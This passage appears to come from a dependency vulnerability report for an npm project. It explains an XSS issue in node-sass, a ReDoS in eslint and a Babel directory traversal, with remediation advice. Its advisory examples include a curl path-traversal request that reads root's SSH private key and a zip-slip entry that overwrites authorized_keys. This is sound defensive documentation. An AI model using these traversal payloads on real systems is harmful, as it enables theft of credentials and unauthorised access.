This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: eslint
  • Introduced through: gulp-sass-lint@1.4.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › eslint@2.13.1

Overview

eslint is a pluggable linting utility for JavaScript and JSX

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 100k characters long.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade eslint to version 4.18.2 or higher.

References

low severity

Directory Traversal

  • Vulnerable module: @babel/core
  • Introduced through: @babel/core@7.8.7

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › @babel/core@7.8.7
    Remediation: Upgrade to @babel/core@7.29.6.

Overview

Affected versions of this package are vulnerable to Directory Traversal via the inputSourceMap function. An attacker can access arbitrary files by crafting malicious input source code containing a #sourceMappingURL comment that references a specific source map file path.

Note:

This is only exploitable if all these conditions are met: the attacker controls the input source code, can read the output source code, and knows the path of the source map file they want to read.

Workaround

This vulnerability can be mitigated by setting inputSourceMap: false in the Babel options or by manually extracting and validating the #sourceMappingURL comment before processing.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade @babel/core to version 7.29.6, 8.0.0-rc.6 or higher.

References